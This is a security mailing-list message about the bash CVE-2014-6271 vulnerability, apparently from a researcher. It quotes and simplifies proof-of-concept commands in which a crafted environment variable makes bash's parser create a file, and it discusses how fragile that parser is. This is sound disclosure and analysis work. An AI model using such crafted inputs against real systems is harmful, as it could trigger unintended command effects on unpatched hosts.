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Message-ID: <CALx_OUCdcWGgJp_tXMXiann4Z4p_LO6BZ0+BNabPk4zhruhi4w@mail.gmail.com>
Date: Wed, 24 Sep 2014 15:37:03 -0700
From: Michal Zalewski <lcamtuf@...edump.cx>
To: oss-security@...ts.openwall.com
Cc: Tavis Ormandy <taviso@...xchg8b.com>
Subject: Re: CVE-2014-6271: remote code execution through bash
> Tavis Ormandy just tweetet this:
> https://twitter.com/taviso/status/514887394294652929
> $ env X='() { (a)=>\' sh -c "echo date"; cat echo
This can be simplified as:
$ X='() { function a a>\' bash -c echo
$ ls echo
echo
And the core parsing problem is illustrated by this:
$ function a a>\ [RETURN]
> foo
$ whatever
$ ls
whatever
Tavis and I spent a fair amount of time trying to figure out if this
poses a more immediate risk, but so far, no dice. It strongly suggests
that the parser is fragile and that there may be unexpected side
effects, though; parsing functions seen in HTTP_* and such seems like
a very risky proposition.
/mz
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